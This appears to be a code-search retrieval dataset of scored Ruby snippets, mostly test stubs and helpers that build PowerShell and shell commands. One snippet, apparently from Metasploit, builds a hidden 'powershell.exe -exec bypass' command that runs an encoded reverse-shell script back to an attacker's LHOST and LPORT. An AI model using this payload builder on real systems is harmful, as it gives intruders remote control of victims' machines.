"docid": "528fe3d9847b83794281c6b3c530d2a4",
"score": "0.55830294",
"text": "def test_respond_to\n assert_respond_to system_wide, :role\n assert_respond_to system_wide, :role=\n assert_respond_to system_wide, :inspect\n assert_respond_to system_wide, :object_id\n end",
"title": ""
},
{
"docid": "8c368e3c13ebb7f555d9fa1697745567",
"score": "0.5579137",
"text": "def final_test_methods\n return []\n end",
"title": ""
},
{
"docid": "fc89b8569cbe9cb2fde989a0b13686d6",
"score": "0.55729306",
"text": "def tests=(_arg0); end",
"title": ""
},
{
"docid": "fc89b8569cbe9cb2fde989a0b13686d6",
"score": "0.55729306",
"text": "def tests=(_arg0); end",
"title": ""
},
{
"docid": "b58cbce0e86395667aaeb65004559c80",
"score": "0.5563504",
"text": "def running_test_case; end",
"title": ""
},
{
"docid": "74e67bf962c06c9877d177931c1a9fd0",
"score": "0.555469",
"text": "def test\n return \"\ndef test_#{@test_name}\n assert_nothing_raised(#{self.class.name}) do\n #{@method} :#{@action}, #{@params.inspect}, #{@session.inspect}, #{@flash.inspect}\n end\nend\n\"\n end",
"title": ""
},
{
"docid": "7ffdde7d615aec4261d2758a95b8a514",
"score": "0.55488664",
"text": "def smoke_test()\n return [\"case_aaaa\"]\n end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.5540873",
"text": "def setup; end",
"title": ""
},
{
"docid": "8196f9f7adcc90f7493f0b9d8511e1da",
"score": "0.55373555",
"text": "def test_guest_name\n assert_equal('Peter', @guest1.return_guest_name)\n end",
"title": ""
},
{
"docid": "5079bbbac6e291869785ee0f784bba94",
"score": "0.5536957",
"text": "def test_truth\n april = riders(:rider_1)\n assert_equal \"April Jones\", april.name\n trigger = horses(:horse_1)\n assert_equal \"Trigger\", trigger.name\n event2 = events(:event_2)\n assert_equal \"5 Horse Scramble\", event2.name\n \n end",
"title": ""
},
{
"docid": "10809c6585f3f74041754b3d096c52ff",
"score": "0.55365646",
"text": "def generate_alltest\n\n end",
"title": ""
},
{
"docid": "2fcde6dd78e2b7209b46d1a510f85f14",
"score": "0.5536232",
"text": "def test_camel_case\n raise NotImplementedError, 'Undecided as to whether to check camel case or not'\n end",
"title": ""
},
{
"docid": "6a44c53137afdab36159f012159d9eeb",
"score": "0.5533716",
"text": "def test_find_single_item\n\n result=find_single_item(@warehouse_data, :b7)\n assert_equal(\"bath fizzers\",result)\n \nend",
"title": ""
},
{
"docid": "9bef334f7de83d1e4caa736a7e66c862",
"score": "0.5533225",
"text": "def test_autocomplete_searches\n do_find_all\n do_autocomplete_query\n end",
"title": ""
},
{
"docid": "14a52ea465414e26f1454b5d1aebe967",
"score": "0.5530253",
"text": "def my_array_splitting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend",
"title": ""
},
{
"docid": "14a52ea465414e26f1454b5d1aebe967",
"score": "0.5530253",
"text": "def my_array_splitting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend",
"title": ""
},
{
"docid": "14a52ea465414e26f1454b5d1aebe967",
"score": "0.5530253",
"text": "def my_array_splitting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend",
"title": ""
},
{
"docid": "14a52ea465414e26f1454b5d1aebe967",
"score": "0.5530253",
"text": "def my_array_splitting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend",
"title": ""
}
] |
098ee34862b4a3926c76abb438922ce2
|
Formats a powershell command using the given script path and arguments. Allows for specifying powershell from a specific installed location. This method is only implemented for Windows. === Parameters shell_script_file_path(String):: shell script file path arguments(Array):: variable stringizable arguments === Returns executable_command(string):: executable command string
|
[
{
"docid": "3a977ef9b3842b600dac7058e1bac4c9",
"score": "0.77876127",
"text": "def format_powershell_command(shell_script_file_path, *arguments)\n return format_powershell_command4(POWERSHELL_V1x0_EXECUTABLE_PATH, nil, nil, shell_script_file_path, *arguments)\n end",
"title": ""
}
] |
[
{
"docid": "ba1f1ec88f4f161edcffe091ac668053",
"score": "0.74654514",
"text": "def format_shell_command(shell_script_file_path, *arguments)\n # special case for powershell scripts.\n extension = File.extname(shell_script_file_path)\n if extension && 0 == POWERSHELL_V1x0_SCRIPT_EXTENSION.casecmp(extension)\n return format_powershell_command(shell_script_file_path, *arguments)\n end\n\n # execution is based on script extension (.bat, .cmd, .js, .vbs, etc.)\n return format_executable_command(shell_script_file_path, *arguments)\n end",
"title": ""
},
{
"docid": "c3fdfedf70213fb69f011e8d4647d723",
"score": "0.72044694",
"text": "def format_executable_command(executable_file_path, *arguments)\n escaped = []\n [executable_file_path, arguments].flatten.each do |arg|\n value = arg.to_s\n escaped << (value.index(' ') ? \"\\\"#{value}\\\"\" : value)\n end\n return escaped.join(\" \")\n end",
"title": ""
},
{
"docid": "f2b838c79f44ad1cfeb648c852e5df09",
"score": "0.66435385",
"text": "def format_powershell_command4(powershell_exe_path,\n lines_before_script,\n lines_after_script,\n shell_script_file_path,\n *arguments)\n # special case for powershell scripts.\n escaped = []\n [shell_script_file_path, arguments].flatten.each do |arg|\n value = arg.to_s\n escaped << (value.index(' ') ? \"'#{value.gsub(\"'\", \"''\")}'\" : value)\n end\n\n # resolve lines before & after script.\n lines_before_script ||= []\n lines_after_script ||= []\n\n # execute powershell with Unrestricted execution policy. the issue\n # is that powershell by default will only run digitally-signed\n # scripts.\n # FIX: search for any attempt to alter execution policy in lines\n # before insertion.\n # FIX: support digitally signed scripts and/or signing on the fly by\n # checking for a signature file side-by-side with script.\n lines_before_script.insert(0, \"set-executionpolicy -executionPolicy Unrestricted\")\n lines_after_script << \"set-executionPolicy Default\"\n lines_after_script << \"exit $LastExitCode\"\n\n # format powershell command string.\n powershell_command = \"&{#{lines_before_script.join(\"; \")}; &#{escaped.join(\" \")}; #{lines_after_script.join(\"; \")}}\"\n\n # combine command string with powershell executable and arguments.\n return format_executable_command(powershell_exe_path, \"-command\", powershell_command)\n end",
"title": ""
},
{
"docid": "b522b597c8a84c35e34d1359b31a3a5d",
"score": "0.5858192",
"text": "def format_command(script_file_path)\n platform = RightScale::RightLinkConfig[:platform]\n shell = platform.shell\n\n # import ChefNodeCmdlet.dll to allow powershell scripts to call get-ChefNode, etc.\n lines_before_script = [\"import-module #{CHEF_NODE_CMDLET_DLL_PATH}\"]\n\n return shell.format_powershell_command4(@new_resource.interpreter, lines_before_script, nil, script_file_path)\n end",
"title": ""
},
{
"docid": "c27bdebc73de73f5007bec4be5823665",
"score": "0.55481845",
"text": "def execute_script(script_path, options={})\n # if args is an array convert into space delineated string otherwise return as is\n args = options[:args].respond_to?(:join) ? options[:args].join(\" \") : options[:args]\n \n cmd = script_path\n cmd = \"ruby #{cmd}\" if RUBY_PLATFORM =~ /mswin|mingw|cygwin/\n cmd = \"bundle exec #{cmd}\" if options[:use_bundler]\n cmd = \"#{cmd} #{args}\" if args\n\n execute(cmd, options)\n end",
"title": ""
},
{
"docid": "56d5dd87ff3ae69945f7de90e79737de",
"score": "0.5436811",
"text": "def execute_script(script_path, *arguments)\n # If we are running a ruby script, use our own interpreter\n if File.extname(script_path) == '.rb'\n cmd = ::RightScale::Platform.shell.format_executable_command(\n RightScale::AgentConfig.ruby_cmd,\n *([script_path] + arguments))\n else\n cmd = ::RightScale::Platform.shell.format_shell_command(\n script_path,\n *arguments)\n end\n output = `#{cmd}`\n return ActionResult.new(:exitstatus => $?.exitstatus, :output => output)\n rescue Exception => e\n return ActionResult.new(:exitstatus => 1, :error => \"ERROR: #{e.message}\", :exception => e)\n end",
"title": ""
},
{
"docid": "0f490636522c8bc047fdc08feb4aa03f",
"score": "0.54324585",
"text": "def execute_script(script_path, *arguments)\n # If we are running a ruby script, use our own interpreter\n if File.extname(script_path) == '.rb'\n cmd = ::RightScale::Platform.shell.format_executable_command(\n RightScale::AgentConfig.ruby_cmd,\n *([script_path] + arguments))\n else\n cmd = ::RightScale::Platform.shell.format_shell_command(\n script_path,\n *arguments)\n end\n output = `#{cmd}`\n return ActionResult.new(:exitstatus => $?.exitstatus, :output => output)\n rescue Exception => e\n return ActionResult.new(:exitstatus => 1, :error => \"ERROR: #{e.message}\")\n end",
"title": ""
},
{
"docid": "02895db8709867e88fad3a2677b4b2c4",
"score": "0.54102737",
"text": "def run_script_file(script_file_path)\n platform = RightScale::RightLinkConfig[:platform]\n shell = platform.shell\n command = shell.format_shell_command(script_file_path)\n\n return execute(command)\n end",
"title": ""
},
{
"docid": "e89aa068caa0a9f5af143dd5fc4ecd12",
"score": "0.5326849",
"text": "def run_script_file(script_file_path)\n platform = RightScale::Platform\n shell = platform.shell\n command = shell.format_shell_command(script_file_path)\n\n return exec_right_popen(command)\n end",
"title": ""
},
{
"docid": "f9e230a9073e08e476712ec69f7ed452",
"score": "0.5316623",
"text": "def shell_code_from_file(vars, file, powershell, opts = {})\n src_file = file + (powershell ? \".ps1\" : \".sh\")\n\n Util.wrap_shell([vars, \"\", IO.read(src_file)].join(\"\\n\"),\n powershell, opts)\n end",
"title": ""
},
{
"docid": "6d2ce2470a70a1b076aeebdd0455b527",
"score": "0.51563036",
"text": "def make_command executable, parameters\n raise ArgumentError, \"executable is nil\" if executable.nil?\n params = parameters.collect{|p| '\"' + p + '\"'}.join ' '\n exe = normalise_slashes executable\n %Q{\"#{exe}\" #{params}}\n end",
"title": ""
},
{
"docid": "ad7b854407a9259d0abe62a622b044b1",
"score": "0.5093944",
"text": "def execute_script!(path, args)\n path = File.expand_path(path, env.root_path)\n FileUtils.chmod(\"+x\", path)\n\n if args.is_a?(String)\n args = \" #{args.to_s}\"\n elsif args.is_a?(Array)\n args = args.map { |a| quote_and_escape(a) }\n args = \" #{args.join(\" \")}\"\n end\n\n execute!(\"#{path}#{args}\")\n end",
"title": ""
},
{
"docid": "0617c1f60d349e06a1c875c6fd65f660",
"score": "0.50905377",
"text": "def shell_code_from_file(vars, file)\n src_file = File.join(\n File.dirname(__FILE__),\n %w{.. .. .. support},\n file + (powershell_shell? ? \".ps1\" : \".sh\")\n )\n\n wrap_shell_code([vars, \"\", IO.read(src_file)].join(\"\\n\"))\n end",
"title": ""
},
{
"docid": "ebe6f817acea5713f6572070b0663efa",
"score": "0.50819576",
"text": "def run(executable, *args)\n executable_full = executable_path(executable)\n self.command = args | default_args\n self.command = command.sort.unshift(executable_full)\n\n system(self.command.join(' '), system_options)\n end",
"title": ""
},
{
"docid": "e989522e5a14854e594a8c2d8b4f772d",
"score": "0.49926084",
"text": "def run(script, *args)\n string_args = args.join(\" \")\n @executable ||= get_executable\n `#{@executable} #{script} #{string_args}`\n end",
"title": ""
},
{
"docid": "5fb44781fe53f30c390ea32715d5aac8",
"score": "0.4958214",
"text": "def my_shell_code_from_file(vars, file)\n src_file = File.join(\n File.dirname(__FILE__),\n %w{.. .. .. support},\n file + (powershell_shell? ? \".ps1\" : \".sh\")\n )\n\n wrap_shell_code([vars, \"\", IO.read(src_file)].join(\"\\n\"))\n end",
"title": ""
},
{
"docid": "f43eccef746400b6691b988adadaf92e",
"score": "0.49311486",
"text": "def to_cmdline\n PlatformOS.shell_cmdline_format_path(to_sys())\n end",
"title": ""
},
{
"docid": "528184e9611d713b2516dc2d138c9243",
"score": "0.49113637",
"text": "def execute_file(full_path, args)\n\t\to = Rex::Script::Shell.new(self, full_path)\n\t\to.run(args)\n\tend",
"title": ""
},
{
"docid": "bdf05be9f4e89c58dbaebc356b1d0c7e",
"score": "0.4897424",
"text": "def get_executable(executable)\n if RUBY_PLATFORM =~ /mswin32/\n executable << '.exe'\n end\n executable\n end",
"title": ""
},
{
"docid": "bd621827952ccbc01177213487a43e9e",
"score": "0.4884837",
"text": "def osascript(script, *args)\n arguments = ''\n args.each do |item| # escape for the shell\n item.gsub!(/([^A-Za-z0-9_\\-.,:\\/@\\n])/, '\\\\\\\\\\\\1')\n item.gsub!(/\\n/, \"'\\n'\")\n arguments << ' ' + item\n end\n [$?.exitstatus != 0, `osascript -s o -e '#{script}'#{arguments}`[0..-2]]\nend",
"title": ""
},
{
"docid": "c2d2b157448b4b4ebac9d9498e004be8",
"score": "0.48798412",
"text": "def format_script_file_name(partial_script_file_path, default_extension = POWERSHELL_V1x0_SCRIPT_EXTENSION)\n extension = File.extname(partial_script_file_path)\n if 0 == extension.length\n return partial_script_file_path + default_extension\n end\n\n # quick out for default extension.\n if 0 == (extension <=> default_extension)\n return partial_script_file_path\n end\n\n # confirm that the \"extension\" is really something understood by\n # the command shell as being executable.\n if @@executable_extensions.nil?\n @@executable_extensions = ENV['PATHEXT'].downcase.split(';')\n end\n if @@executable_extensions.include?(extension.downcase)\n return partial_script_file_path\n end\n\n # not executable; use default extension.\n return partial_script_file_path + default_extension\n end",
"title": ""
},
{
"docid": "18f6bb310af83065f29fcc5ab77aecc8",
"score": "0.48567972",
"text": "def cmd_powershell_execute(*args)\n if args.length == 0 || args.include?('-h')\n powershell_execute_usage\n return false\n end\n\n opts = {\n code: args.shift\n }\n\n @@powershell_execute_opts.parse(args) { |opt, idx, val|\n case opt\n when '-s'\n opts[:session_id] = val\n end\n }\n\n result = client.powershell.execute_string(opts)\n print_good(\"Command execution completed:\\n#{result}\")\n end",
"title": ""
},
{
"docid": "79abe3963a839ef02438be97bd98a71e",
"score": "0.48351133",
"text": "def normalise executable, parameters\n raise ArgumentError, \"executable is nil\" if executable.nil?\n parameters = parameters.collect{ |p| (p === String) ? p : p.to_s }\n exe = normalise_slashes executable\n [\"#{exe}\", parameters]\n end",
"title": ""
},
{
"docid": "7cb829a628f343e2af23cb908f63ec5e",
"score": "0.48213914",
"text": "def executable_path\n @executable_path ||= usable_executable_path_for(@executable)\n end",
"title": ""
},
{
"docid": "221e055fabc7737f29e8dde8b2569b03",
"score": "0.48055375",
"text": "def command\n [*executable, *args]\n end",
"title": ""
},
{
"docid": "ee8a21cdaab5dea8089442d4c8c6f4a1",
"score": "0.47431955",
"text": "def to_exec_command_and_string command, *args\n if command.respond_to?(:to_str)\n r = command.to_str\n if args.empty?\n # When given a single string, it is subject to shell\n # expansion; this is compatible with \"exec\", and indeed,\n # perhaps there is no way of passing a single string to \"exec\"\n # without it being subject to shell expansion.\n [[r], r]\n else\n r = [r] + args\n [r, to_shell_string(r)]\n end\n elsif command.respond_to?(:to_ary)\n r = command.to_ary + args\n [r, to_shell_string(r)]\n else\n raise ArgumentError\n end\n end",
"title": ""
},
{
"docid": "c623c9268be96f92bc29e22d5014639d",
"score": "0.47314978",
"text": "def run_executable(executable, opts=nil)\n script_options = Hash.new\n script_options[:server] = Hash.new\n if executable.is_a?(Executable)\n if executable.recipe?\n script_options[:server][:recipe] = executable.recipe\n else\n script_options[:server][:right_script_href] = executable.right_script.href\n end\n elsif executable.is_a?(RightScript)\n script_options[:server][:right_script_href] = executable.href\n else\n raise \"Invalid class passed to run_executable, needs Executable or RightScript, was:#{executable.class}\"\n end\n \n if not opts.nil? and opts.has_key?(:ignore_lock)\n script_options[:server][:ignore_lock] = \"true\"\n opts.delete(:ignore_lock)\n end\n\n serv_href = URI.parse(self.href)\n script_options[:server][:parameters] = opts unless opts.nil?\n location = connection.post(serv_href.path + '/run_executable', script_options)\n AuditEntry.new('href' => location)\n end",
"title": ""
},
{
"docid": "2839eece8069ad426c92cb8cdf655510",
"score": "0.4721415",
"text": "def call_shell_script(path)\n scriptname = File.basename(path)\n\n # stdout & stderr\n stdout = @rule.outputs.map {|output|\n output.eval(@variable_table)\n }.find {|output| output.stdout?}\n out = stdout ? stdout.name : \".stdout\"\n err = \".stderr\"\n\n # execute command\n `cd #{@working_directory}; ./#{scriptname} > #{out} 2> #{err}`\n end",
"title": ""
},
{
"docid": "5b777e364b83365f5a656ce02b344094",
"score": "0.47050297",
"text": "def command_shell(command)\n args = command.arguments.join(\" \")\n options = command.options.select(&:required?).map(&:long_name_banner).join(\" \")\n\n elements = [\n Dracula.program_name,\n command.full_name,\n args,\n options\n ]\n\n elements.select { |element| element != \"\" }.join(\" \")\n end",
"title": ""
},
{
"docid": "ba9e4e535d455b7353b586ec62ca91ac",
"score": "0.46844354",
"text": "def resolve_execl(processor)\n return unless str_bin_sh?(processor.argument(0).to_s)\n\n args = []\n arg = processor.argument(1).to_s\n if str_sh?(arg)\n arg = processor.argument(2).to_s\n args << '\"sh\"'\n end\n return nil if global_var?(arg) # we don't want base-related constraints\n\n args << arg\n cons = processor.constraints + [\"#{arg} == NULL\"]\n { constraints: cons, effect: %(execl(\"/bin/sh\", #{args.join(', ')})) }\n end",
"title": ""
},
{
"docid": "1647614c42964e300d583a4e7c33f2a8",
"score": "0.46817365",
"text": "def run_script_content\n \"#!/bin/sh\nexec 2>&1\nexec #{@command} 2>&1\"\n end",
"title": ""
},
{
"docid": "2e17727020eceb38831d156433ead495",
"score": "0.46790352",
"text": "def which(executable)\n if File.file?(executable) && File.executable?(executable)\n executable\n elsif paths = ENV[\"PATH\"]\n quote = '\"'.freeze\n paths.split(File::PATH_SEPARATOR).find do |path|\n path = path[1..-2] if path.start_with?(quote) && path.end_with?(quote)\n executable_path = File.expand_path(executable, path)\n if File.file?(executable_path) && File.executable?(executable_path)\n return executable_path\n end\n end\n end\n end",
"title": ""
},
{
"docid": "bdd2d1faba517fc6f3fc6478c0572839",
"score": "0.4675032",
"text": "def form_shellcommands line\n\t\t\tif line.strip =~ /^['\"](.*)['\"]$/\n\t\t\t\tcmda = eval('%w{'+$1+'}')\n\t\t\t\tp cmda\n\t\t\t\t# TODO: fixme\n\t\t\t\traise 'Cannot execute quoted shellcommand (yet)'\n\t\t\t\t# Exec::shellexec(line)\n\t\t\telsif line.strip =~ /^[`]/\n\t\t\t\tescline = line.strip.gsub(/\"/,'\\\"') \n\t\t\t\tline = embed_exec_into_informer(line,'Shell: '+escline+\"\\n\")\n\t\t\tend\n\t\t\tconvert_global_variables(line)\n\t\tend",
"title": ""
},
{
"docid": "3c9d2a2a899ad6b570fc2fe70219ce56",
"score": "0.46574113",
"text": "def make_shell_command(source)\n make_executable(\"#!/bin/sh\\n\" + source)\n end",
"title": ""
},
{
"docid": "48d48b81334c4660ca19b13d3f6348ef",
"score": "0.46433982",
"text": "def get_process_execute_command(bin_path, conf_path, process_name)\n \"#{get_process_bat_path(bin_path)} #{conf_path} #{process_name}\"\n end",
"title": ""
},
{
"docid": "b85ed0aefebeee4835bb17b1f834e4c7",
"score": "0.46309087",
"text": "def create_run_script(directory, command, file)\n # Fix the directory path\n if Rails.configuration.OnServer\n file = \"/tmp/\" + file.gsub(Rails.configuration.compile_directory, \"\")\n directory = \"/tmp/\" + directory.gsub(Rails.configuration.compile_directory, \"\")\n end\n\n # Build the run script\n run = directory + command + \" < \" + file + \" > \" + file + \"_output\" + \"\\n\"\n\n # Build the shell script\n shell = \"#!/bin/bash\\n\"\n shell = shell + \"ulimit -t \" + assignment.test_case.cpu_time.to_s\n shell = shell + \"\\n\" \n shell = shell + \"ulimit -c \" + assignment.test_case.core_size.to_s\n shell = shell + \"\\n\"\n shell = shell + run\n shell = shell + \"exit\\n\"\n return shell\n end",
"title": ""
},
{
"docid": "9e9214157c65c4213fd7ad847d7550eb",
"score": "0.46288654",
"text": "def command_shell_string__from call, *args\n \"#{call} #{args.join \" \"}\"\n end",
"title": ""
},
{
"docid": "02b868ced547717833a41dc7c8205ca4",
"score": "0.46285874",
"text": "def generate_psh_command_line(opts)\n Rex::Powershell::Command.generate_psh_command_line(opts)\n end",
"title": ""
},
{
"docid": "5c8cc3b92b57a31dccc0d5a51d05b48c",
"score": "0.46269408",
"text": "def shellify\n shellified_options = @options.inject([]) do |args, (name, value)|\n option_name = name.to_s.tr(\"_\", \"-\")\n case value\n when NilClass,\n TrueClass then args << \"--#{option_name}\"\n when FalseClass\n when Array then value.each { |v| args << \"--#{option_name}=#{v.inspect}\" }\n else args << \"--#{option_name}=#{value.inspect}\"\n end\n args\n end\n \n raise ArgumentError, \"Path to thin script can't be found, set Command.script\" unless self.class.script\n \n \"#{self.class.script} #{@name} #{shellified_options.compact.join(' ')}\"\n end",
"title": ""
},
{
"docid": "ae45e26a5ccc5536e944825a840bfc1b",
"score": "0.46081746",
"text": "def pwsh_command\n # If the resource specifies a search path use that. Otherwise use the default\n # PATH from the environment.\n if @resource.nil? || @resource['path'].nil?\n Pwsh::Manager.pwsh_path\n else\n Pwsh::Manager.pwsh_path(resource[:path])\n end\n end",
"title": ""
},
{
"docid": "ca3f7a4d7e24353a0dff55339a9b9c76",
"score": "0.46062863",
"text": "def executable_path\n @executable_path ||=\n executable_name && lookup_executable_path(executable_name)\n end",
"title": ""
},
{
"docid": "b9a7f91bfbdaa278486f609f61f3bf92",
"score": "0.46027026",
"text": "def script_to_s\n (SCRIPT_HEADER + @sh_commands).join(\"\\n\")\n end",
"title": ""
},
{
"docid": "a6f260760e6757974bac5e357cb9835e",
"score": "0.4588881",
"text": "def execute\n puts @args\n cmd = \"sh -c '#{self.command_file} #{@args}'\"\n puts cmd\n status, stdout, stderr = systemu(cmd)\n end",
"title": ""
},
{
"docid": "54180417056475177d55e41bc1c7c654",
"score": "0.4581742",
"text": "def execute_command(command, args = [])\n # '/opt/puppetlabs/bin' is not in PATH, but is require to execute 'puppet infra' commands.\n command_env = { 'PATH' => \"#{ENV['PATH']}:/opt/puppetlabs/bin\" }\n # Convert each element of the args array to a string.\n args = args.reject { |a| a.empty? }.map(&:to_s)\n # Execute the command with the arguments passed as a variable length argument list using the asterisk operator.\n stdout, stderr, status = Open3.capture3(command_env, command, *args)\n # Merge the command and args into a string.\n command_line = args.unshift(command).join(' ')\n { command: command_line, status: status.exitstatus, stdout: stdout.strip, stderr: stderr.strip }\nend",
"title": ""
},
{
"docid": "b674a1ed70794c0b4b23047760c22cdb",
"score": "0.45605215",
"text": "def sanitized_executable\n executable.gsub /&|\"|'|;|\\s/, \"\"\n end",
"title": ""
},
{
"docid": "c1ce90fceb491f2981f9f9758e2fca51",
"score": "0.4556294",
"text": "def exec_command_to_string command, *args\n string = nil\n if command.is_a? Array\n string = command[0]\n else\n string = command\n end\n string = string.dup\n unless args.empty?\n string << \" \"\n string << to_shell_string(args)\n end\n return string\n end",
"title": ""
},
{
"docid": "014af42d276f91642c0625ec17aa47a7",
"score": "0.4548327",
"text": "def executable_path\n return @executable_path if @executable_path\n\n if OS.windows?\n 'packer.exe'\n else\n 'packer'\n end\n end",
"title": ""
},
{
"docid": "1ab68700bbeb2adcc59d6e99676c86c1",
"score": "0.4529647",
"text": "def shell_command(arguments)\n \"#{HANDBRAKE_PATH} #{arguments.strip} 2>&1\"\n end",
"title": ""
},
{
"docid": "1ca6379994c7e4645f7e4c303e230dc4",
"score": "0.45255968",
"text": "def shell_cmd(opts)\n case opts[:shell].to_s\n when \"cmd\"\n \"cmd.exe /c '#{opts[:command]}'\"\n else\n opts[:command]\n end\n end",
"title": ""
},
{
"docid": "54c6310e7dde563248370dedde58c2c6",
"score": "0.44935092",
"text": "def executable_file\n File.join(macos_root, executable_file_name)\n end",
"title": ""
},
{
"docid": "8cb3beaec6cc93a4440e99ec226b3225",
"score": "0.44913724",
"text": "def osify_path_separators(executable)\n return executable.gsub(/\\//, '\\\\') if (@system_wrapper.windows?)\n return executable\n end",
"title": ""
},
{
"docid": "3c0405b8ea7f17f4e4638ac0e4b34af3",
"score": "0.4485451",
"text": "def asc shcmd\n\treturn 'tell application \"Terminal\" to do script \"'+shcmd+'\" in selected tab of the front window'\nend",
"title": ""
},
{
"docid": "b18de6fce5ae9f1bb4be11eb74a26fa0",
"score": "0.4476052",
"text": "def command_line(head_arguments='', tail_arguments='')\n args = [head_arguments, default_args, tail_arguments].flatten.compact.select { |s| s.length > 0 }.join ' '\n \"#{executable} #{args}\"\n end",
"title": ""
},
{
"docid": "8dbd829ee6a208c74180a6a31f558e58",
"score": "0.44735926",
"text": "def shell_command(command)\n s = command.map {|word| shell_single_word(word) }.join(' ')\n ShellEscaped.new_no_dup(s)\n end",
"title": ""
},
{
"docid": "898e1845be1bfeac7793479510d744ad",
"score": "0.4463144",
"text": "def command_string\n lport = datastore['LPORT']\n lhost = datastore['LHOST']\n\n template_path = File.join(\n Msf::Config.data_directory,\n 'exploits',\n 'powershell',\n 'powerfun.ps1')\n\n script_in = File.read(template_path)\n script_in << \"\\npowerfun -Command reverse\"\n\n mods = ''\n\n if datastore['LOAD_MODULES']\n mods_array = datastore['LOAD_MODULES'].to_s.split(',')\n mods_array.collect(&:strip)\n print_status(\"Loading #{mods_array.count} modules into the interactive PowerShell session\")\n mods_array.each {|m| vprint_good \" #{m}\"}\n mods = \"\\\"#{mods_array.join(\"\\\",\\n\\\"\")}\\\"\"\n script_in << \" -Download true\\n\"\n end\n\n script_in.gsub!('MODULES_REPLACE', mods)\n script_in.gsub!('LPORT_REPLACE', lport.to_s)\n script_in.gsub!('LHOST_REPLACE', lhost.to_s)\n # Base64 encode the compressed file contents\n script = compress_script(script_in)\n \"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})\"\n\n end",
"title": ""
},
{
"docid": "c70af4b3220e3a44d32b440f052406a5",
"score": "0.4458729",
"text": "def add_executable(executable, apply=\"operational\")\n t = URI.parse(self.href)\n params = {}\n if executable.recipe?\n params[:recipe] = executable.href\n else\n params[:right_script_href] = executable.href\n end\n params[:apply] = apply\n connection.post(t.path + \"/add_executable\", params)\n end",
"title": ""
},
{
"docid": "8868655d495f69fcaacc0669d6e5dbf5",
"score": "0.44578034",
"text": "def ruby_command_args(*args)\n return Array(args) unless Licensed::Shell.tool_available?(bundler_exe)\n [bundler_exe, \"exec\", *args]\n end",
"title": ""
},
{
"docid": "08b4bad70e4c285db099962994ca08fd",
"score": "0.44467828",
"text": "def executable_command(*commands)\n return nil unless commands\n\n # Template proc\n template = ->(command) { \"heroku #{command} --remote '#{environment}'\" }\n\n # Map commands to template & chain\n commands.map(&template).join(' && ')\n end",
"title": ""
},
{
"docid": "1391f4f75f6b84712dc5a4eae2fcca32",
"score": "0.44425875",
"text": "def to_exec(args = self)\n Array(executable) + args\n end",
"title": ""
},
{
"docid": "a20533d18ec47db08ed855e58fc470e9",
"score": "0.44378656",
"text": "def execute(scriptfile)\n puts command_line.command(script: scriptfile.path)\n command_line.run(script: scriptfile.path)\n end",
"title": ""
},
{
"docid": "9471638785d111eab90ad5d56b920914",
"score": "0.44134796",
"text": "def osascript(script)\n system 'osascript', *script.split(/\\n/).map { |line| ['-e', line] }.flatten\nend",
"title": ""
},
{
"docid": "e8ac986bc1218842ecada10b82a8dbb4",
"score": "0.44127843",
"text": "def write_shell_script(&b)\n file = File.open(\n File.join(@working_directory,\"__pione-action__.sh\"),\n \"w+\"\n )\n if @dry_run\n @rule.outputs.flatten.each do |output|\n file.puts(\"touch %s\" % output.eval(@variable_table).name)\n end\n else\n file.print(@rule.body.eval(@variable_table).content)\n end\n debug_message(\"Action #{file.path}\")\n user_message(\"-\"*60, 0, \"SH\")\n @rule.body.eval(@variable_table).content.split(\"\\n\").each do |line|\n user_message(line, 0, \"SH\")\n end\n user_message(\"-\"*60, 0, \"SH\")\n file.close\n FileUtils.chmod(0700, file.path)\n return b.call(file.path)\n end",
"title": ""
},
{
"docid": "50f3b6591cbe26df31d9708724e22e12",
"score": "0.44064334",
"text": "def osascript( script )\n %x{/usr/bin/osascript -e \\'#{script}\\'}\nend",
"title": ""
},
{
"docid": "8eb81d76af1359f3f2d7d01cd6b12e3d",
"score": "0.44015497",
